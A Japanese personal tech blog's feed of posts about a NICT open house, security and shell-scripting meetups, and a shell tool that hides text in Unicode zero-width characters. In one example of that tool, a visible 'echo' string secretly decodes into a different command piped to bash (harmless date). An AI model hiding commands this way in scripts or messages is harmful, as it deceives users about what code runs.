【講演者略歴】  熊本県生まれ。東京大学工学部卒業後、ボストン本社の戦略コンサルティング会社ベイン&カンパニーで外資系および日系企業の経営コンサルティングに従事。1992年よりアップルコンピュータ社で市場開発やマーケティング本部長職などを歴任。97年に同社を休職し、陸路でヨーロッパに渡り、フランスの INSEAD 、その後スイス国際経営大学院 (IMD) にて MBA を取得。 ...

全てにおいて、全部面白くお話を聞かせて頂きました。
研究者さんと直接話しが出来て楽しいです(素人でもわかるように説明してくださいます)

気になった展示内容

サイバーセキュリティ関係

SeckHack365の紹介

20180630_NICT1.jpg

WarpDrive

Chromeプラグインでタチコマが怪しいサイトを調査してくれる

https://warpdrive-project.jp/

20180630_NICT2.jpg

STARDUST

スーパーすごいハニーポット

20180630_NICT3.jpg

NIRVANA改弐

これが、カッコよくてすごい便利そうでした。

  • 管理下のサーバのパッチ適用具合が一目瞭然
  • 個別にサーバの停止など、運用管理機能がある

20180630_NICT4.jpg

オペレーションルーム

オペレーションルームを見学させてもらいました!
ここで日本へのサイバー攻撃が監視されているんですね~

20180630_NICT5.jpg

ランチ!

社食が頂ける!

20180630_NICT_lunch.jpg

すぐ使えるやつ

以下は、展示されていましたがすぐ使えるやつ(良さそう)

VoiceTra

期待。ちょっと試してみます。

VoiceTraサポートページ - NICT

NICTが提供する音声翻訳アプリ「VoiceTra」のサポートページです。

DISAANA & D-SUMM

地震が起こったらTwitterとかみちゃうけど、コレみたほうがいいかもしれない
デマを検出する仕組みもあるらしい

DISAANA - 対災害SNS情報分析システム【リアルタイム版】

対災害SNS情報分析システムDISAANAは、今現在のTwitterへの投稿をリアルタイムに分析し、エリアを指定するとそこで発生している災害に関する問題・トラブルを自動的に抽出したり、「大雨が降っているのはどこ」といった質問の回答候補をTwitterの投稿から抽出し、リスト形式または地図形式で表示できます。今まさに起きている災害の情報を簡単に入手する事ができます。パソコン、スマートフォン、タ...

D-SUMM 災害状況要約システム リアルタイム版

D-SUMMは、Twitter上の災害情報を分かりやすく整理・要約するシステムです。

WarpDrive

WarpDrive

攻殻機動隊S.A.C.に登場するAI『タチコマ』を電脳空間にリアライズ。Web媒介型攻撃対策用『タチコマ・セキュリティ・エージェント』を無償配布! 1万⼈規模のPCにインストールされたタチコマたちがユーザのWebアクセスを大規模観測。並列化(情報集約、横断分析、新機能展開等)によりタチコマが成長! ...

Unicode ゼロ幅スペースを利用して情報を隠して仕込む

さんが約7年前に追加

ゼロ幅スペースというUnicodeの闇

ZeroWidthSpace

動機 : 先日こういう話題があった

ゼロ幅文字にエンコードした隠し情報で、文書をリークしたメンバーを特定

とある会員制掲示板からの文書の流出に困った運営者が、 ユニコードの見えない文字「ゼロ幅文字(Zero-Width characters)」を使って流出させたユーザーを特定した、という話 が出ていました。 ...

  • 要約
  • 競技ビデオゲームのチームが、プライベートの掲示板を利用
  • 外部の掲示板にコピペしているやつがいた
  • 見た目がわからない文字を仕込んで犯人を特定

原理 : Unicodeゼロ幅スペースを仕込んだ

ゼロ幅スペース(Wikipedia)

コンピュータの組版に用いられる非表示文字で、文書処理システムに対して語の切れ目を示すのに用いる

めっちゃ種類ある

U+034F , U+200B , U+200C , U+200D , U+200E , U+200F , U+2028 , U+2029 , U+202A , U+202B , U+202C , U+202D , U+202E , U+2061 , U+2062 , U+2063 , U+FEFF

いろんな事に(難読化シェル芸)に使えるんじゃ・・・!

元ネタに習って4種類を使う ⇒ 4進数で表現できる!

CodePoint 名称 デコード時
U+200B ゼロ幅空白 0
U+200C ゼロ幅非接合子(筆記体の時の制御) 1
U+200D ゼロ幅接合子(筆記体の時の制御) 2
U+FEFF ゼロ幅のノーブレークスペース 3

ゼロ幅スペースにエンコード

  1. 文字を16進数に変換(xxd)
  2. 16進数を4進数に変換(bc)
  3. 0 1 2 3 をゼロ幅スペースに置換(sed)
ZWS1=$'\u200b'
ZWS2=$'\u200c'
ZWS3=$'\u200d'
ZWS4=$'\ufeff'

echo "unko" |xxd -p|tr a-z A-Z \
  |sed 's/^/obase=4; ibase=16; &/g'|bc \
  |sed s/0/$ZWS1/g |sed s/1/$ZWS2/g \
  |sed s/2/$ZWS3/g |sed s/3/$ZWS4/g 

仕込んだゼロ幅スペースのデコード

  1. ゼロ幅スペースを 0 1 2 3 に置換(sed)
  2. 16進数に変換(bc)
  3. バイナリに変換(xxd)
ZWS1=$'\u200b'
ZWS2=$'\u200c'
ZWS3=$'\u200d'
ZWS4=$'\ufeff'

echo '‌‌‌‌‍‍‌‍‍‌‍​​‍‍' \
  |sed s/$ZWS1/0/g |sed s/$ZWS2/1/g \
  |sed s/$ZWS3/2/g |sed s/$ZWS4/3/g \
  |sed 's/^/obase=16; ibase=4; &/g'|bc|xxd -ps -r

※ echo '' の''にはゼロ幅スペース入ってる

Twitter用 Unicodeゼロ幅スペースぶっ込みツール に作り直した

TwitterやSNSで使える種類が限られていることがわかった。

調査してTwitter用に良さそうな4種類のゼロ幅スペースを確認する

シェル芸bot氏のことも考慮して、割と真面目に作り直した

Instration

ファイルダウンロードして実行権限をつけるだけ

$ wget https://raintrees.net/attachments/download/227/zws
$ chmod u+x ./zws

最新版について

現在、githubにて最新版を管理しています。インタフェースをbase64と全く同じに修正(してもらい)ました。
https://github.com/kanata2003/ZeroWidthSpace

動作環境

ただのシェルスクリプトなので、だいたいの環境(Linux,Mac,Unix)で動くのでは

以下で、動作確認しました。

  • CentOS Linux release 7.2.1511 x86_64

Usage

エンコード

実行すると '' が出力されるが間にゼロ幅スペースが詰まっている

./zws unko
'‌⁢‌‌​​‍‍‌‍⁢‍​​‍‍‌‍‍⁢​​‍‍‌‍⁢⁢​​‍‍'

パイプ経由でもできる

echo "unko"|./zws
'‌⁢‌‌​​‍‍‌‍⁢‍​​‍‍‌‍‍⁢​​‍‍‌‍⁢⁢​​‍‍'

ちなみにTwitterでは、ゼロ幅スペースはアスキー文字と同等に数えられるらしく、140文字ではなく280文字までいけた
エンコードサイズが280文字を超えるとWARNINGを出すようにしている(エンコード自体はする)

./zws aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[WARN] This encoded size over 280 characters. You can not tweet. Now 285 characters.
'‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌‌‍​‌​​‍‍'

シェル芸bot氏はゼロ幅スペースを普通にマルチバイト文字として数える(140文字制限)ので、bot氏に処理をお願いする時は140文字までの制限を意識する必要がございます

ゼロ幅スペースの文字数を数えるには wc -m コマンドで数えることができます

./zws 'I hava an apple'|wc -m
67

この短めの文で67文字も使うのでTwitterにはあまり長い文字列が仕込めません

デコード

base64コマンドっぽいインタフェースにした
ゼロ幅スペース以外の文字があっても、そこは無視してデコードする

./zws -d 'this is a pen‌⁢‌‌​​‍‍‌‍⁢‍​​‍‍‌‍‍⁢​​‍‍‌‍⁢⁢​​‍‍'
unko

もちろんパイプ経由でもいける

echo '‌⁢‌‌​​‍‍‌‍⁢‍​​‍‍‌‍‍⁢​​‍‍‌‍⁢⁢​​‍‍'|./zws -d
unko

使えるシュチュエーション

このシェル芸を実行したのは誰だ!

./zws -d 'echo unko⁢‍‌⁢‍‍‌⁢‍​​‌⁢‍​⁢‍​​‌‍‍‌⁢⁢‍​⁢‍​​‌‍‌‍‌​​‍‍'
私です

裏手順を隠しておく

./zws -d 'stop.sh #アプリを停止、yを入力‌⁢​​‌‍‍⁢‌‍‍‌‌‍⁢​‌‍⁢​​‍​​‌‍​‌‌⁢​​‌‍⁢​‌‍‍‌​​‍‍'
pkill apli

呪いを込めておく

./zws -d 'Start.sh #アプリ起動⁢‍‌‌‍⁢‍​‍⁢​​⁢‍​⁢‍​​‍‍​‍‍⁢‍​⁢‍​​‌‍‌⁢⁢⁢‍​⁢‍​​‌‍​‌​​​‍‍'
帰りたい

暗号的やり取り

実はTwitterはゼロ幅スペースが使えます

他のSNSでも使えそう(未確認)

./zws -d '草⁢‍‌⁢‍​‍‌‍⁢‍‌⁢‍‌‌‍‍​⁢‍⁢​‍⁢‍​⁢‍​​‌‍‍​​⁢‍​⁢‍​​‌‍‌⁢‍​​‍‍'
特売だぞ

難読化シェル芸

echoと見せかけたdateの実行

echo 'echo unko‌‍‌​‌‍​‌‌⁢‌​‌‍‌‌​​‍‍'|./zws -d|bash
2018年  7月 16日 月曜日 10:26:37 JST

他の実装

  • ExcelのVBAで風柳さんが実装しています

[Excel][VBA] ゼロ幅スペースを利用した情報隠蔽の試み
https://gist.github.com/furyutei/6bba0eaf5e0bcb4ae1ee30f916cfcb04

  • 短縮URLのサービスで実装されています

Zero Width Shortener
https://zws.im/

技術書典4に行ってキマシタワー (2コメント)

さんが約7年前に追加

技術書典4

技術書の祭典が2018年4月22日(日)@秋葉原UDXで開催決定!

どんどん規模が大きくなる技術書の同人誌販売イベント。

コミケ自体は未だに行ったことがありませんが、技術書典だけは4回目。過去3回分もブログに書いてた。

なぜかこのイベントはだいたい雨なのだけれど、今回は快晴。来場者は第一回と比べると、、、それはそれはスゴイ量になっていました。
もぅ秋葉原UDXをもってしても収まらなさそうですねw

この短時間にめっちゃ来てたんやなって

戦利品

20180422_techbookfest4.jpg

楽しかった。
これ以外に俺らの愛したセキュリティをpdfにて購入しました。
GWにゆっくり読もうっと。

待ち時間対策

たぶん、「待ち時間を最小にする」と「欲しい本が売り切れるリスク」を考えると開場一時間前くらいに行くのがよさそう…
でも次回このパターンでいけるかはもぅわかんない。たぶん更に人が増えると思われる。

ちなみに整理券を貰いますが、そのまま待機の順列に並ぶことができます(?)

コメント

後学のために混みっぷりをメモしておきます

NAVER まとめ 秋葉原UDX技術書典4 すごい待機列と参加者の名言集「時間単価の高い人たちばかり」 #技術書典
https://matome.naver.jp/odai/2152437674075947001

メモ

秋葉原で開催中の技術書イベント「技術書典4」のポスターが面白いと話題に。 ネットの声、現地画像まとめ
https://matomame.jp/user/ELI_AYASE/5025d6354f3aef027690

jus共催 第35回またまためでたいシェル芸勉強会 に参加させて頂きました!

さんが約7年前に追加

jus共催 第35回またまためでたいシェル芸勉強会報告 | 上田ブログ

null

jus共催 第35回またまためでたいシェル芸勉強会

2018年4月7日@さくらインターネットさんのセミナールームにて問題と解答:

LTしましたが、内容がアレだったので公開を見合わせております。

知見

毎回勉強になります。以下、自分用メモ

# 踊るpiyokangoさん
curl parrot.live

# 改行の調整(忘れてること多し)
cat hoge|awk NF

あと、peeコマンドめっちゃ便利(moreutils)

pee is like tee but for pipes. Each command is run and fed a copy of the standard input. The output of all commands is sent to stdout.
Note that while this is similar to tee, a copy of the input is not sent to stdout, like tee does.

感動

シェル芸始末書 @grethlenのお詫び状

https://hackmd.io/p/Bk3lBeSjz#/

著名なシェル芸人のぐれさんが海外で仕事されるとのこと。ご活躍を楽しみにしております。

超・記号オンリー難読化シェル芸

これにより難読化シェル芸の、難読化手法の一つが完成するに至った。歴史的瞬間。

濱せっく 出張版 #4 に参加させて頂きました!

さんが約7年前に追加

濱せっく 出張版 #4 (2018/04/04 19:00〜)

濱せっくとは 横濱界隈のセキュリティエンジニアが運営している情報やスキルを共有し合うことを目標とするセキュリティ勉強会です。 今回は4度目の出張版です。 読み方:はませっく #### 対象者 セキュリティに興味のある方であれば、学生でも社会人でも無職の方でもどなたでも大歓迎です。 なお、横濱にお住まいでなくても参加できます。 ## 開催日時 * 2018年4月4日(水) * 18:30開場 / 19:00開始 * 21:00~21:30 終了見込み ## 会場 * レアルセミナールーム * 東京都新宿区西新宿1-3-13 (Zenken Pl...

知見

色んなツールを教えて頂きました。以下、気になったツール

puzzCode
https://github.com/aaaddress1/puzzCode

解析者の心を折りにくる難読化ツール

Buscador Investigative Operating System
https://inteltechniques.com/buscador/

OSINT特化のLinuxディストリビューション。素晴らしい。

ADRecon
https://github.com/sense-of-security/ADRecon

Active Directoryの調査ツール(OSINT)

maltegoのプラグイン
https://github.com/tampererer?tab=repositories

Recon-ng

Recon-ngの使い方 on @Qiita

katagaitaiCTF勉強会とシェル芸勉強会に参加させて頂きました!

さんが約7年前に追加

katagaitai CTF勉強会 #11 - 関東|med

katagaitai CTF勉強会 #11 - 関東|med : ATND

h2. 概要 * チームkatagaitaiの実施する,CTFに関する勉強会です.過去問...

yskさん

無線の話!無線の話!めっちゃ面白い。資料が神だった。
無線の基礎から教えてくれたので、めっちゃ解りやすい。
これ系の問題は苦手な数学がほぼ入ってこないので、頑張ればなんとかできそうな印象(できるとは言っていない)

GNU Radio必須

資料が公開されてますね!

bataさん

ChromeのJavascriptエンジンV8の中の話
めちゃめちゃ濃い内容。この内容理解できたらV8のメンテナになれるでコレ…

bataさんが解説する問題は、相変わらず遥か彼方にゴールが見える感じで遠い。。

jus & USP友の会共催 シェル勉強会 @関西(第34回いつも難しい問題ばっかり出す上田が真面目に考えた初心者用シェル芸勉強会)

jus & USP友の会共催 シェル勉強会 @関西(第34回いつも難しい問題ばっかり出す上田が真面目に考えた初心者用シェル芸勉強会)で大阪にお邪魔しました | 上田ブログ

問題
https://b.ueda.tech/?post=20180317_shellgei_34

youtube
https://t.co/tuZhLj6zEu

togetter
https://togetter.com/li/1209705

LT

特に面白いと思ったのは以下

ターミナルでテトリスが動いてる・・・!

記号オンリー難読化シェル芸・・・!


知見を得た

以下はよく忘れて毎回ググるのでメモしておく

  • sedで引っ掛けたものを置換対象に含めるには&を使う
$ echo abc123 |sed 's/abc/&def/g'
abcdef123
  • awkのNR(行番号)

  • awkで空行の削除

$ awk 'NF'
(41-50/155)

他の形式にエクスポート: Atom